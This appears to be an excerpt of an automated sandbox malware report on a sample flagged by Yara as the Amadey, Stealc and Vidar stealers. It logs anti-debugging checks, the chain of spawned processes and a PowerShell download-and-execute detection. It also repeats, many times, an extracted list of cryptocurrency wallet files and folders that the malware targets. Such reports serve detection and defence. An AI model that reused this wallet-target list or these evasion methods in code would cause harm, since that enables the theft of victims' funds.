Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJDAFIEHIEG.exe

Code function: 20_2_05360C50 rdtsc

20_2_05360C50

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C565FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6C565FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C56C410 LoadLibraryW,GetProcAddress,FreeLibrary,

1_2_6C56C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F2652B mov eax, dword ptr fs:[00000030h]		23_2_00F2652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F2A302 mov eax, dword ptr fs:[00000030h]		23_2_00F2A302

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C53B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6C53B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C53B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6C53B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5356, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDAFIEHIEG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDAFIEHIEG.exe "C:\Users\user\DocumentsJDAFIEHIEG.exe"
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000001.00000002.2698495525.0000000000E32000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: E7Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C53B341 cpuid

1_2_6C53B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C5035A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

1_2_6C5035A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsJDAFIEHIEG.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2725767457.0000000000151000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2747182858.0000000000EF1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3424426746.0000000000EF1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2705810582.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3216298917.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2685133973.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2697917488.0000000000A61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2185106449.0000000005410000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5356, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5356, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000001.00000002.2700544115.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\.finger-print.fpv
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2697917488.0000000000B2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000001.00000002.2697917488.0000000000B15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
